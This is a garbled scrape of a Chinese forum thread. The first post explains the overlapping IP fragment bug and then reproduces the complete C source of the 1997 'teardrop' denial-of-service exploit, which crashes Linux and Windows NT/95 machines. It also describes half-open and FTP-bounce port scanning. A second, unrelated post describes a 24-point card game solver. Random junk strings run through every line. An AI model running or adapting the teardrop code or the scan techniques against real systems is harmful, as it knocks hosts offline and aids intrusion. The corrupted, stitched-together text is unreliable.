}</P><P>/* Fill in the structure. */! G" u6 e0 D/ v6 v
fp-&gt;offset = offset;! G( H) @2 k. Z
fp-&gt;end = end;
# t: C2 w! Z% b( y2 pfp-&gt;len = end - offset; //fp-&gt;len是一个有符号整数</P><P>举个例子来说明这个漏洞:- j/ w3 f. e" J6 y4 f) N
第一个碎片:mf=1 offset=0 payload=20% \/ H9 H& O5 m& t0 z4 S1 q' h
敌二个碎片:mf=0 offset=10 payload=9</P><P>这样第一个碎片的 end=0+20
" u& W7 t$ P$ Loffset=0! ?( S5 W% W5 N& x) U
这样第二个碎片的 end=9+10=19
7 g3 ~+ w, h1 R* }7 |offset=offset+(20-offset)=20
& B7 c2 \6 H' R' ^fp-〉len=19-20=-1; </P><P>那么memcpy将拷贝过多的数据导致崩溃。</P><P>8 U( m8 y6 j. u9 w
/*' i) h$ r. J$ O. j& f  V( T
* Copyright (c) 1997 route|daemon9 <ROUTE@INFONEXUS.COM>11.3.978 I6 f! S  n3 A
*5 [9 \7 h3 k3 _* x% v
* Linux/NT/95 Overlap frag bug exploit
2 f9 m8 Z( X- M" b/ u' v4 r*- c; }! f- q: [8 @1 b" L9 g
* Exploits the overlapping IP fragment bug present in all Linux kernels and
& _2 C5 |6 S( ^0 A* NT 4.0 / Windows 95 (others?)
8 t  L  x  H0 ]& h" _0 ^*
; S% A) t0 p+ d: E, T, u0 L* Based off of: flip.c by klepto. `% _. r1 ?) j3 M$ A6 H
* Compiles on: Linux, *BSD*
% B7 I( t: f9 |% @: T* i) j*
2 ^" ^' n& ~5 F8 |7 Q2 z' M3 X* gcc -O2 teardrop.c -o teardrop  J7 R1 C6 R2 m* q7 k
* OR
6 o6 v, ^$ z( p9 }0 W* gcc -O2 teardrop.c -o teardrop -DSTRANGE_BSD_BYTE_ORDERING_THING
. F; `+ ~: _, u" ~( n# \$ a+ {*/</P><P>#include <STDIO.H>& c7 Y8 E/ B, u: T# p9 X1 V
#include <STDLIB.H>
" ?4 ~$ B+ F/ v4 S9 J& H3 @: S#include <UNISTD.H>
' P1 x, ]6 \; |0 C8 m" f#include <STRING.H>
% p; M+ @, q7 g  W. E. Z' X#include <NETDB.H>+ F  U9 O: d5 D% M# C$ p& }+ p
#include <NETINET in.h>
" Q, R, K7 L/ w#include <NETINET udp.h>: t! z% T( q) g& q
#include <ARPA inet.h>- p/ X9 O- y. D8 Z& Z3 c
#include <SYS types.h>% N* v9 i5 @0 ]$ m5 {( c3 Y
#include <SYS time.h>
3 e% ?' A1 |0 @) N& \#include <SYS socket.h></P><P>#ifdef STRANGE_BSD_BYTE_ORDERING_THING# {9 {% t  N& W1 |! Z, M
/* OpenBSD &lt; 2.1, all FreeBSD and netBSD, BSDi &lt; 3.0 */
4 N- K( X2 G9 }$ C, ?#define FIX(n) (n). M4 `# h( c; @  p, r: Z
#else /* OpenBSD 2.1, all Linux */
% ~$ E7 w3 D, V, h. B$ h' [% b: J#define FIX(n) htons(n)
9 G2 U; g; M( {8 {. `+ e& ?( y#endif /* STRANGE_BSD_BYTE_ORDERING_THING */</P><P>#define IP_MF 0x2000 /* More IP fragment en route */; `0 U5 S/ t6 z: u. i
#define IPH 0x14 /* IP header size */4 S# V, A" S7 G; P
#define UDPH 0x8 /* UDP header size */
2 a0 |, h6 c/ Y# K* x% M$ w) w. T#define PADDING 0x1c /* datagram frame padding for first packet */
& i% n+ [7 Z* H8 B#define MAGIC 0x3 /* Magic Fragment Constant (tm). Should be 2 or 3 */" @* b$ L1 U* M( N* ~
#define COUNT 0x1 /* Linux dies with 1, NT is more stalwart and can' K; b. A% H5 H
* withstand maybe 5 or 10 sometimes... Experiment.
' v) f, n8 g7 x9 U*/</P><P>void usage(u_char *);
) w6 j+ X6 e% d- Y# g  T* [5 Yu_long name_resolve(u_char *);
" k. d; q; N0 B/ {u_short in_cksum(u_short *, int);
# L3 m8 K/ `/ _void send_frags(int, u_long, u_long, u_short, u_short);</P><P>int main(int argc, char **argv)" I( c7 h9 }! V4 x8 C
{3 J9 |: i; {7 Q
int one = 1,
# ^' h7 `5 Y8 Z. Q3 I' Gcount = 0,
; }( t3 i0 F( F: U( h" {6 yi,
+ `* d' G" J( A3 \rip_sock;% y1 k! x, C+ H5 {8 i
u_long src_ip = 0, dst_ip = 0;
/ t2 A' k5 |3 M% K7 k2 W8 `) Ou_short src_prt = 0, dst_prt = 0;- n8 ?5 }0 Q! i2 v9 c
struct in_addr addr;</P><P>fprintf(stderr, "teardrop route|daemon9\n\n");</P><P>//建SOCK_RAW; H3 J1 [5 f* I3 R
if((rip_sock = socket(AF_INET, SOCK_RAW, IPPROTO_RAW)) &lt; 0)( L& I3 c0 W' H7 u- d. v% g1 d  p
{1 G8 n0 G- @' S/ Q' L
perror("raw socket");- b0 j, _4 b; y' `4 c
exit(1);
( w) N: Q; r5 W}5 N4 C5 c" {7 ^. a5 _$ m& a" p
//由系统处理IP校验和。; k% Q0 V3 g) g! _2 x' G# V
if (setsockopt(rip_sock, IPPROTO_IP, IP_HDRINCL, (char *)&amp;one, sizeof(one))9 Q4 O- `# R$ p0 H8 _- Z
&lt; 0)
4 Y2 g: w3 K0 r* s- }7 o4 d9 Q{+ |9 Z  h& j* Q4 o- t* m
perror("IP_HDRINCL");
1 B9 J% j; }6 N% P( _' L# Q/ k6 F6 }exit(1);
9 `7 |' E0 D" O- q* b}</P><P>if (argc &lt; 3) usage(argv[0]);$ L0 \  S, s7 b3 D
if (!(src_ip = name_resolve(argv[1])) || !(dst_ip = name_resolve(argv[2])))
; z9 \' C3 p* S{' }4 j  K3 p8 @: K6 j( {
fprintf(stderr, "What the hell kind of IP address is that?\n");- D+ \# v  q) D" {: Y& u
exit(1);1 `/ P7 [! C: h. }) V% M
}</P><P>while ((i = getopt(argc, argv, "s:t:n:")) != EOF)8 R; \9 b( X& h; \- ^& i, y
{
6 H+ \* d6 |  D5 g" e7 v' Hswitch (i)
$ j( f8 {* Z* e+ T{3 |. i5 f) i1 l! Y
case 's': /* source port (should be emphemeral) */
+ _4 |7 Z5 X; u8 l; csrc_prt = (u_short)atoi(optarg);
  d7 L( O. Q9 D7 j4 bbreak;
! [* u( l1 r$ O# i2 mcase 't': /* dest port (DNS, anyone?) */
; K% X/ [8 \3 V8 d# [* z% Y/ \dst_prt = (u_short)atoi(optarg);
+ b! Z- H% e+ [% j  P7 ^break;
" j8 \. Y0 E' y8 xcase 'n': /* number to send */" M* x, A' n' |
count = atoi(optarg);
3 n& D' f/ q4 X, M2 o. Xbreak;
+ y# g) s6 y9 K* m% a# H9 W4 ~0 kdefault :
% p' K8 w1 H% w) p/ t9 Wusage(argv[0]);
' _" a! p* J4 A& f! a, Ubreak; /* NOTREACHED */: V0 y. @. N$ g) c+ F+ m
}
" M" @$ _$ Z+ ~! e2 b0 u}</P><P>srandom((unsigned)(time((time_t)0)));# X* A8 t9 S5 N* d5 z
if (!src_prt) src_prt = (random() % 0xffff);
" }1 h4 I& w" z. t1 ?% Dif (!dst_prt) dst_prt = (random() % 0xffff);# b/ K/ H, h3 b2 z) l4 b) t6 t
if (!count) count = COUNT;</P><P>fprintf(stderr, "Death on flaxen wings:\n");
6 f% |' M( A9 c2 P# c2 P6 ^5 Raddr.s_addr = src_ip;
, [& _! ^5 a+ G; c+ jfprintf(stderr, "From: %15s.%5d\n", inet_ntoa(addr), src_prt);
) M  ]4 n" S+ D  q& jaddr.s_addr = dst_ip;
+ [3 F; J6 P/ sfprintf(stderr, " T %15s.%5d\n", inet_ntoa(addr), dst_prt);5 }0 U+ t0 j+ U, Y4 W# j
fprintf(stderr, " Amt: %5d\n", count);
' X. C$ I) P" k. B+ Rfprintf(stderr, "[ ");</P><P>for (i = 0; i &lt; count; i++)$ v" q8 s( ]- a+ M$ m- m; ^, n
{
% b; a" C) \. F* V$ D) a+ E) Qsend_frags(rip_sock, src_ip, dst_ip, src_prt, dst_prt);
! d% d9 [9 Q9 k* r' `: z* ufprintf(stderr, "b00m ");7 v- m/ ^- X! _3 L
usleep(500);
) O# m5 \# `* _- ?- _}
. f. D. u% N4 V6 P: F* gfprintf(stderr, "]\n");' F5 ~4 H+ B9 u) r
return (0);4 k- w! [, D4 g6 |
}</P><P>/*
8 E! ~+ `  I1 e5 |* ^6 j* Send two IP fragments with pathological offsets. We use an implementation0 N8 w, ^+ |; ]
* independent way of assembling network packets that does not rely on any of
3 e, f1 A- b: q$ \5 k2 a3 O- d* the diverse O/S specific nomenclature hinderances (well, linux vs. BSD).
7 R& M. W' d! Q1 U*/</P><P>void send_frags(int sock, u_long src_ip, u_long dst_ip, u_short src_prt,3 Y% p8 z+ c+ l) d% _
u_short dst_prt)9 G* r, w# F3 K: Z
{
$ Y, {+ @2 ~5 v/ t  n* ?- Ku_char *packet = NULL, *p_ptr = NULL; /* packet pointers */! g3 ]/ L1 C& j+ O% L
u_char byte; /* a byte */
0 c$ C, R' T  T1 z& g7 d7 |; Kstruct sockaddr_in sin; /* socket protocol structure */</P><P>sin.sin_family = AF_INET;: o* N% [) R; K' [4 D
sin.sin_port = src_prt;
9 M' q( f* A- s1 @( y% |sin.sin_addr.s_addr = dst_ip;</P><P>/*2 M4 q, G1 G) A# ^0 D
* Grab some memory for our packet, align p_ptr to point at the beginning
9 g$ s- T) ~& K  [! Q* of our packet, and then fill it with zeros.
; u; ^. c0 ]# K0 i/ a*/, y$ G  B) o& o" G2 B6 O% j
packet = (u_char *)malloc(IPH + UDPH + PADDING);( g4 _# ]1 `& A& v6 n
p_ptr = packet;
* [( J/ @+ g+ Wbzero((u_char *)p_ptr, IPH + UDPH + PADDING);</P><P>byte = 0x45; /* IP version and header length */
0 Q  M5 b) O1 j8 t1 _/ \memcpy(p_ptr, &amp;byte, sizeof(u_char));: }! y* J+ [$ i' V- d+ Q+ g* K  m
p_ptr += 2; /* IP TOS (skipped) */. M9 o8 D6 D& V% t
*((u_short *)p_ptr) = FIX(IPH + UDPH + PADDING); /* total length */
8 U+ [( T) c3 B  [) Zp_ptr += 2;( |% L1 g# s' ~: V
*((u_short *)p_ptr) = htons(242); /* IP id */9 d6 Y1 w: G& e5 N
p_ptr += 2;3 y7 b, G2 j. ?" Z1 B6 C
*((u_short *)p_ptr) |= FIX(IP_MF); /* IP frag flags and offset */% j  v' i* O6 q2 g$ V, s: U
p_ptr += 2;
: D8 V0 r7 R' x) k*((u_short *)p_ptr) = 0x40; /* IP TTL */
- O3 g& F* s- p) J% fbyte = IPPROTO_UDP;
, Z  y8 O- M/ I( N3 ?0 }2 gmemcpy(p_ptr + 1, &amp;byte, sizeof(u_char));
! M2 ?$ C! u4 ^1 qp_ptr += 4; /* IP checksum filled in by kernel */
8 u# E( T% }2 i6 u7 f0 W; w*((u_long *)p_ptr) = src_ip; /* IP source address */* T! m3 P( i1 j
p_ptr += 4;
+ U% g) i$ V- O*((u_long *)p_ptr) = dst_ip; /* IP destination address */
, o+ K' K; [  K! V. r& B4 D: ~; _* Pp_ptr += 4;
% i% f, @: _+ M) ^- Q$ t: q9 Y*((u_short *)p_ptr) = htons(src_prt); /* UDP source port */" H' v/ H  m( j/ h/ _. C- I! t
p_ptr += 2;
/ N  O; c; H: m*((u_short *)p_ptr) = htons(dst_prt); /* UDP destination port */
  O. [% {$ c, }" p# N. b/ xp_ptr += 2;
1 u4 I" p/ B2 M' d& N* h+ I! I*((u_short *)p_ptr) = htons(8 + PADDING); /* UDP total length */</P><P>if (sendto(sock, packet, IPH + UDPH + PADDING, 0, (struct sockaddr *)&amp;sin,
7 e0 V/ g/ K# B/ Ysizeof(struct sockaddr)) == -1)
$ s3 E/ r; R0 [% K{
! B! B, p2 T% F" S2 iperror("\nsendto");
- Y+ p2 }: N: e0 m+ Ffree(packet);' `. r8 h0 ^3 Q* R8 \4 ?
exit(1);
3 S5 B; l( E" Q, _}</P><P>/* We set the fragment offset to be inside of the previous packet's5 N( P: E& B; @" Z* q5 @! q
* payload (it overlaps inside the previous packet) but do not include
) Z9 v4 e0 o. W  S# ]5 g6 v; i* enough payload to cover complete the datagram. Just the header will
* M* y' z/ p: B5 d: c* do, but to crash NT/95 machines, a bit larger of packet seems to work
1 ]' D  }: f2 @! P0 ~. v2 T* better.
- k" c7 s" m: n; n: s6 \- h8 J; g*/
# o9 m7 L% ?& Lp_ptr = &amp;packet[2]; /* IP total length is 2 bytes into the header */' E/ z) B( c1 M
*((u_short *)p_ptr) = FIX(IPH + MAGIC + 1);' g  G# Z3 b/ U- h
p_ptr += 4; /* IP offset is 6 bytes into the header */& n  A4 r7 K5 \5 w4 G- z4 d' D
*((u_short *)p_ptr) = FIX(MAGIC);</P><P>if (sendto(sock, packet, IPH + MAGIC + 1, 0, (struct sockaddr *)&amp;sin,
8 D! {) y6 u6 H5 j0 y, z: s3 usizeof(struct sockaddr)) == -1)8 d& I. ~0 _$ l9 w' y: e
{$ S. x4 I+ f# m6 H9 Y
perror("\nsendto");6 }+ X" U2 e  K$ X+ G2 H5 k
free(packet);
; c. |% G, C9 @8 Hexit(1);
- x, v: x+ B1 t+ C) N/ \1 y% W% u# z& V}
+ E* L. J; O9 N% _free(packet);
; R8 x$ f- [( @. D; |}</P><P>u_long name_resolve(u_char *host_name); t( `  d8 [: N: |. F9 f4 ^+ i
{! W9 ?# |8 }& O6 h+ R4 r
struct in_addr addr;
6 `6 Y/ D: B* U- w' r- x6 Z9 Mstruct hostent *host_ent;</P><P>if ((addr.s_addr = inet_addr(host_name)) == -1)
9 N( L5 o6 c3 o0 w% v{$ L; j* X5 Q- I
if (!(host_ent = gethostbyname(host_name))) return (0);
) s7 i3 M4 P' V6 M% u  Mbcopy(host_ent-&gt;h_addr, (char *)&amp;addr.s_addr, host_ent-&gt;h_length);
7 S& u4 b' W$ h% ~& l) Y6 F}
) h+ L6 b# x# W9 E8 s0 V6 q8 @0 jreturn (addr.s_addr);6 ?: P& r! x) B7 O. R$ w8 m
}</P><P>void usage(u_char *name)3 ]5 s% w6 B! v. s4 r! |
{
4 ~; W" h, r7 G' r# U9 u8 k( jfprintf(stderr,, D- r9 {: R8 J) p! u
"%s src_ip dst_ip [ -s src_prt ] [ -t dst_prt ] [ -n how_many ]\n",
; D2 X% V) q% Q/ r, D: e3 aname);( X. m( G+ {1 I! X( Z. F
exit(0);
; T5 E, D9 S9 E+ s% c/ a! o" u}</P><P>
4 ?/ {* M0 x8 g" Z/ K4 Portscan 和 Antiportscan</P><P>Portscan的两种主要方法:
7 F2 _3 z3 j8 [( b/ z6 d(1) Half-open(半打开)0 \3 i1 d$ l- _8 {
利用下面特性:但一个主机收到向某个端口(TCP)发出的(SYN),
6 }6 J* W9 C$ x' s如果在这个端口有服务,那么返回(SYN+ASK),不然返回(RST)。</P><P>(2) FTP scanner
* k3 w8 z4 P( Y2 O0 `利用了FTP的port命令,例如可以这样作:
# k$ G! j% @' G; n* ?. r选择一个FTP服务器,连上后令port命令指向目标机,如果返回
" r; `( W$ w! B( ~4 x0 v- q值是正确的,那么目标机的该端口是有服务的,如返回打开端口错误则. Q8 _9 o' |$ G. b6 ^& e# q- E
该端口无服务。
, ?4 K4 Y3 S. y, J/ vtelnet 192.168.1.13 21' D- o0 A0 n8 p# Y; L3 J" [3 B
Trying 192.168.1.13...
% s: D. U/ N# UConnected to pp.bricks.org.
: P2 t0 u" c8 x0 O7 K4 V9 WEscape character is '^]'." G; y) Q. K* g" P; d/ e
220 pp.bricks.org FTP server (Version wu-2.4.2-academ[BETA-16](1) ( }6 _2 a2 i. I9 A3 i: e
Thu May 7 23:18:05 EDT 1998) ready.</P><P>user anonymous
6 r! f! B0 u( [4 {331 Guest login ok, send your complete e-mail address as password.+ i* l! O' a1 f/ f3 [. Z. @8 O
pass aa@aa.aa
5 l4 [- J0 V& `# Q1 G1 f( q) D! A230 Guest login ok, access restrictions apply.
8 T( }7 m0 V9 K4 c) ^port a,b,c,d,p1,p2 // a.b.c.d是要探测的目标 p1 p2是目的端口</P><P>150 Opening ASCII mode data connection for file list.) e! s0 K* Z7 v5 ^
425 Can't build data connection: Connection refused.
. E" k8 @2 k! l4 O4 X5 J//该端口未活动 * R/ M5 N' x. |7 G7 }8 F  q
150 Opening ASCII mode data connection for file list./ D" ~# Q1 m2 t% m
226 Transfer complete.) W& A  Z+ ^' ]7 H8 p
//该端口活动中0 P' g$ q- a' ]9 L+ w6 h: _
但有些FTP服务器禁止你将数据连接影响其他地址,那就没办法了。</P><P>上述两种方法是通用的,而针对个别系统有一些特殊方法。</P><P>如一些系统受到包后会作如下处理:</P><P>标志 活动的端口的应答 不活动端口的应答 </P><P>SYN SYN|ACK RST 或 Nothing
0 s, o: Q4 B( T1 d! H# uSYN|FIN ACK or SYN|ACK* RST
6 ?- t, I4 N5 Q; tACK Nothing RST! _- y3 D& ?6 P6 z  Q6 y/ H
0 flag Nothing RST</P><P>你最好是试一试。</P><P>Antiport4 u; A  ~$ A) g6 v
一般是调用 sd=socket(PF_INET,SOCK_RAW,6),然后不停的读,: R. y! x' ?6 F9 E$ Y
若发现一个主机不停的象你发送(SYN)包,却没有完成连结,可以认
! M+ M9 s- f8 M0 U6 r9 G" n* T定它在向你做portscan。</P><P>notes:
, Z& U; F, R1 J  c8 e1 x早期的portscan程序是老老实实的向你一个一个端口连(完成三次握手),4 t: T9 K# X* S! d
而一些antiscan是在一个平时不用的端口上起一个服务器,并认为连上来的3 i2 }) b+ d, b2 p
都是向它scan。</P>
回复

使用道具 举报

韩冰        

823

主题

3

听众

4048

积分

我的地盘我做主

该用户从未签到

发帖功臣 元老勋章

< align=center><FONT color=#ff6600 size=4><B><FONT size=5>关于二十四点游戏的编程思路与基本算法</FONT></B></FONT></P>< align=left>
9 C- ?! l. G* @. Z/ P; y( N5 @9 |* f  漫长的假期对于我来说总是枯燥无味的,闲来无聊便和同学玩起童年时经常玩的二十四点牌游戏来。此游戏说来简单,就是利用加减乘除以及括号将给出的四张牌组成一个值为24的表达式。但是其中却不乏一些有趣的题目,这不,我们刚玩了一会儿,便遇到了一个难题——3、6、6、10(其实后来想想,这也不算是个太难的题,只是当时我们的脑筋都没有转弯而已,呵呵)。
/ B/ z0 O4 w4 U. Q& @& D5 J
3 z# h! S' h$ A5 [8 L7 O4 K  问题既然出现了,我们当然要解决。冥思苦想之际,我的脑中掠过一丝念头——何不编个程序来解决这个问题呢?文曲星中不就有这样的程序吗?所以这个想法应该是可行。想到这里我立刻开始思索这个程序的算法,最先想到的自然是穷举法(后来发现我再也想不到更好的方法了,悲哀呀,呵呵),因为在这学期我曾经写过一个小程序——计算有括号的简单表达式。只要我能编程实现四个数加上运算符号所构成的表达式的穷举,不就可以利用这个计算程序来完成这个计算二十四点的程序吗?确定了这个思路之后,我开始想这个问题的细节。 1 n! L* h  X( v* O/ |
首先穷举的可行性问题。我把表达式如下分成三类——
8 ~2 k7 o" Y4 h$ ^2 w0 F<FONT color=#ff0000>1、 无括号的简单表达式。
4 j4 i) m5 h) m2、 有一个括号的简单表达式。5 K( N' B( m* X% \
3、 有两个括号的较复4、 杂表达式。+ v/ F& S3 o$ u- n. i4 Z
</FONT>穷举的开始我对给出的四个数进行排列,其可能的种数为4*3*2*1=24。我利用一个嵌套函数实现四个数的排列,算法如下:
5 h+ H: i8 O0 E, d5 K( J<FONT color=#009900>/* ans[] 用来存放各种排列组合的数组 */7 h0 k) _, ], \7 [
/* c[] 存放四张牌的数组 */
! r  C% U( `* m, `' K0 v2 t/* k[] c[]种四张牌的代号,其中k[I]=I+1。
' L* o' O. n0 i1 p用它来代替c[]做处理,考虑到c[]中有可能出现相同数的情况 */* B' o2 i; Y; J% P0 o  T. H
/* kans[] 暂存生成的排列组合 */& P) w7 J: M" R5 a, y% s
/* j 嵌套循环的次数 */
# v2 T7 J4 b  ?7 _- o  Yint fans(c,k,ans,kans,j)
0 c2 w( ?) \6 Q0 Y- eint j,k[],c[];char ans[],kans[];/ R  y, g+ B6 G( B: Y2 p6 J  t
{ int i,p,q,r,h,flag,s[4],t[4][4];
) X9 b6 N3 }' f! e) cfor(p=0,q=0;p&lt;4;p++)' A& k7 J; p3 T5 F5 E
{ for(r=0,flag=0;r<J;R++)/ l0 Y" W, M0 z8 z
if(k[p]!=kans[r]) flag++;
$ T. E/ {8 @6 ^) |! Wif(flag==j) t[j][q++]=k[p];
( w/ R4 o5 G0 W2 N, u) P5 `, ~}
$ n) t( Y* J8 G6 m" B) K0 [! kfor(s[j]=0;s[j]&lt;4-j;s[j]++)
) t0 h1 K% W8 P; l( z{ kans[j]=t[j][s[j]];$ }, F+ q& E& C% I( D
if(j==3) { for(h=0;h&lt;4;h++)2 p* e  M7 f: }! z  Z# e
ans[2*h]=c[kans[h]-1]; /* 调整生成的排列组合在最终的表
+ I6 u7 H0 N$ c# ^6 Y  Z达式中的位置 */7 v3 Y9 x1 \: v" x
for(h=0;h&lt;3;h++)
& A' ^: f% R5 v; K: P" Zsymbol(ans,h); /* 在表达式中添加运算符号 */; ?7 F: P$ g- t% W
}$ M+ F& U- [0 }3 c4 Z
else { j++;
7 H6 R) `# s4 c0 F1 ]; dfans(c,k,ans,kans,j);
8 `" k' a& Y6 m! Z" n/ C# Vj--;' b. c: U+ ]7 e! w# W! o
}1 N, v% N. s" w+ a5 t( l
}5 K2 A4 P  l' i& o9 c, W* _
}</FONT>
! h# ~# C" U" x1 i# ^- f0 i2 s1 Z9 c
/ B. O6 p8 v) J  a7 V! M  正如上面函数中提到的,在完成四张牌的排列之后,在表达式中添加运算符号。由于只有四张牌,所以只要添加三个运算符号就可以了。由于每一个运算符号可重复,所以计算出其可能的种数为4*4*4=64种。仍然利用嵌套函数实现添加运算符号的穷举,算法如下:. J0 g/ _- Q! q8 \
& H  l3 u: N3 I; |8 F5 q2 t
<FONT color=#009900>/* ans[],j同上。sy[]存放四个运算符号。h为表达式形式。*/. V( J4 i& {. y% c7 L
int sans(ans,sy,j,h)$ {( u- N; V& Q/ o/ x
char ans[],sy[];int j,h;
0 `! ]9 X9 d+ ]) h! ^{ int i,p,k[3],m,n; char ktans[20];) g9 j2 j# r# y+ Y3 b( u
for(k[j]=0;k[j]&lt;4;k[j]++)
3 P, @/ F. l: P# h% A0 T{ ans[2*j+1]=sy[k[j]]; /* 刚才的四个数分别存放在0、2、4、6位
1 ~  H; S- D. u这里的三个运算符号分别存放在1、3、5位*/ ; Z9 G; q7 J) \. B! V& t
if(j==2)
0 Y$ v+ ~9 I1 I; G$ |* y{ ans[5]=sy[k[j]];
4 f6 C( h- V2 E3 ?, {9 Y/* 此处根据不同的表达式形式再进行相应的处理 */
0 m( R! J3 S5 ]3 ?+ _* \* e}
0 p0 {7 r' y$ s0 i2 f5 Yelse { j++; sans(ans,sy,j--,h); }
) s8 n& J6 L/ C' z! B" e}+ D2 u% @8 d( [; v3 ]
}
! g, E  ?+ D# m; z& r& F8 w+ ^- i" p9 S4 [) }6 c4 e
</FONT>  好了,接下来我再考虑不同表达式的处理。刚才我已经将表达式分为三类,是因为添加三个括号对于四张牌来说肯定是重复的。对于第一种,无括号自然不用另行处理;而第二种情况由以下代码可以得出其可能性有六种,其中还有一种是多余的。, ^4 y1 [! h  n- K: `
for(m=0;m&lt;=4;m+=2)
  c) s) V$ Y+ g  K6 c: Y9 V; j2 j/ Ffor(n=m+4;n&lt;=8;n+=2)
  l1 m( q# Q+ `: ^. z$ Y' J: r  这个for循环给出了添加一个括号的可能性的种数,其中m、n分别为添加在表达式中的左右括号的位置。我所说的多余的是指m=0,n=8,也就是放在表达式的两端。这真是多此一举,呵呵!最后一种情况是添加两个括号,我分析了一下,发现只可能是这种形式才不会是重复的——(a b)(c d)。为什么不会出现嵌套括号的情况呢?因为如果是嵌套括号,那么外面的括号肯定是包含三个数字的(四个没有必要),也就是说这个括号里面包含了两个运算符号,而这两个运算符号是被另外一个括号隔开的。那么如果这两个运算符号是同一优先级的,则肯定可以通过一些转换去掉括号(你不妨举一些例子来试试),也就是说这一个括号没有必要;如果这两个运算符号不是同一优先级,也必然是这种形式((a+-b)*/c)。而*和/在这几个运算符号中优先级最高,自然就没有必要在它的外面添加括号了。
; ?" m- c* }8 L+ T- b$ g2 M- C* p4 h: a( \  t% D
  综上所述,所有可能的表达式的种数为24*64*(1+6+1)=12288种。哈哈,只有一万多种可能性(这其中还有重复),这对于电脑来说可是小case哟!所以,对于穷举的可行性分析和实现也就完成了。9 [* A3 y2 C( ?; M, Z6 s
</P>< align=left>  接下来的问题就是如何对有符号的简单表达式进行处理。这是栈的一个著名应用,那么什么是栈呢?栈的概念是从日常生活中货物在货栈种的存取过程抽象出来的,即最后存放入栈的货物(堆在靠出口处)先被提取出去,符合“先进后出,后进先出”的原则。这种结构犹如子弹夹。. j3 ?# i& S6 y0 J2 J
在栈中,元素的插入称为压入(push)或入栈,元素的删除称为弹出(pop)或退栈。1 l$ A0 j' ]5 x+ p* i

. Z! r  Z, p; b, S" r, U  栈的基本运算有三种,其中包括入栈运算、退栈运算以及读栈顶元素,这些请参考相关数据结构资料。根据这些基本运算就可以用数组模拟出栈来。& j9 ]  Z% q2 ]: }

+ |  I' e2 s# B- }: I8 ~& z  那么作为栈的著名应用,表达式的计算可以有两种方法。
7 g: }, x) A2 `1 ^! ^2 T5 ?5 q
/ u8 a* [1 W) m$ Z% t: K& q  <FONT color=#ff0000>第一种方法——</FONT>
/ Q, o3 w9 x) B2 E1 ?  首先建立两个栈,操作数栈OVS和运算符栈OPS。其中,操作数栈用来记忆表达式中的操作数,其栈顶指针为topv,初始时为空,即topv=0;运算符栈用来记忆表达式中的运算符,其栈顶指针为topp,初始时,栈中只有一个表达式结束符,即topp=1,且OPS(1)=‘;’。此处的‘;’即表达式结束符。7 O1 D+ t7 c0 E- t+ w- F
  然后自左至右的扫描待处理的表达式,并假设当前扫描到的符号为W,根据不同的符号W做如下不同的处理:5 q. h' m* U: n6 D( y+ g0 w9 p
1、 若W为操作数
2 W9 T5 y  a6 t. H  S2、 则将W压入操作数栈OVS
' N) E  h3 ]( Z' f! i* K( {- Y- C3、 且继续扫描下一个字符/ k7 f/ z! F+ u% N% C; l' Y7 V
4、 若W为运算符( v: V  [# M. @7 ]
5、 则根据运算符的性质做相应的处理:
6 _) j# g* T- Q( L" l+ U) W2 _(1)、若运算符为左括号或者运算符的优先级大于运算符栈栈顶的运算符(即OPS(top)),则将运算符W压入运算符栈OPS,并继续扫描下一个字符。
2 k. |3 V# U' p  v. z& b# P6 k(2)、若运算符W为表达式结束符‘;’且运算符栈栈顶的运算符也为表达式结束符(即OPS(topp)=’;’),则处理过程结束,此时,操作数栈栈顶元素(即OVS(topv))即为表达式的值。
, S5 z2 {6 M3 _2 o3 m(3)、若运算符W为右括号且运算符栈栈顶的运算符为左括号(即OPS(topp)=’(‘),则将左括号从运算符栈谈出,且继续扫描下一个符号。
5 v$ x# Z$ ~$ A8 o: F$ a(4)、若运算符的右不大于运算符栈栈顶的运算符(即OPS(topp)),则从操作数栈OVS中弹出两个操作数,设先后弹出的操作数为a、b,再从运算符栈OPS中弹出一个运算符,设为+,然后作运算a+b,并将运算结果压入操作数栈OVS。本次的运算符下次将重新考虑。
4 ]" v8 L; `4 C2 ^" R5 ~- \; p/ X3 b$ i% E
<FONT color=#ff0000>  第二种方法——</FONT>
& U8 `* |6 _3 \- R  首先对表达式进行线性化,然后将线性表达式转换成机器指令序列以便进行求值。( O4 Y: v6 l; ?3 I9 ^5 ^! f
) ~/ f- y+ F5 F; M) V
  那么什么是表达式的线性化呢?人们所习惯的表达式的表达方法称为中缀表示。中缀表示的特点是运算符位于运算对象的中间。但这种表示方式,有时必须借助括号才能将运算顺序表达清楚,而且处理也比较复杂。0 p$ v+ h3 i" K8 Z) f+ k; Y

3 V$ i' ?$ ~& e, w5 |1 A   1929年,波兰逻辑学家Lukasiewicz提出一种不用括号的逻辑符号体系,后来人们称之为波兰表示法(Polish notation)。波兰表达式的特点是运算符位于运算对象的后面,因此称为后缀表示。在对波兰表达式进行运算,严格按照自左至右的顺序进行。下面给出一些表达式及其相应的波兰表达式。) t( M8 P% s. C+ B4 p) a5 V
表达式 波兰表达式. s( j5 F& @+ j; K# y5 X2 C& B
A-B AB-. {1 U* N. P" O$ g: z% Y; m
(A-B)*C+D AB-C*D+; Z2 @# f+ G7 ]9 T" Z4 z5 F
A*(B+C/D)-E*F ABCD/+*EF*-
1 C4 G- p% |1 b/ B(B+C)/(A-D) BC+AD-/
% `% ?3 ~6 ?5 T( S. D/ f& x/ n  }# O' _% e9 [
  OK,所谓表达式的线性化是指将中缀表达的表达式转化为波兰表达式。对于每一个表达式,利用栈可以把表达式变换成波兰表达式,也可以利用栈来计算波兰表达式的值。
# L5 f6 L0 t$ V) p9 p, w0 _4 y% \% m$ V  D4 A" w9 q9 ^
  至于转换和计算的过程和第一种方法大同小异,这里就不再赘述了。
4 S! B1 V: f8 n
( }6 n' z" b' H  下面给出转换和计算的具体实现程序——3 q' A- `. {3 d

/ ^/ ^9 v- U! r1 {<FONT color=#009900>/* first函数给出各个运算符的优先级,其中=为表达式结束符 */" z( q- F. D! Q7 `  S# x0 j
int first(char c)+ `0 R  E* M/ e' K" T/ o6 x
{ int p;; I8 n) V6 i2 |0 W; `- l' z  r
switch(c)4 V  X5 ]5 i: N: ]
{ case '*': p=2; break;
+ Q- W- t; p! ?$ O9 p& v2 lcase '/': p=2; break;+ [8 _' N" h$ a" w, f
case '+': p=1; break;
0 c) [% J$ n- j: A' c+ L1 Q' Mcase '-': p=1; break;5 ?& C2 {5 s9 i" P, {
case '(': p=0; break;
4 M# y/ R; K2 r% Y" Zcase '=': p=-1; break;
# a- M2 z+ v2 \}. A1 ]; X- \2 G: R, g; n
return(p);
; C& c, Y0 c; u- {. j3 `* z}( q* H! s) A  u) S7 z" M8 i
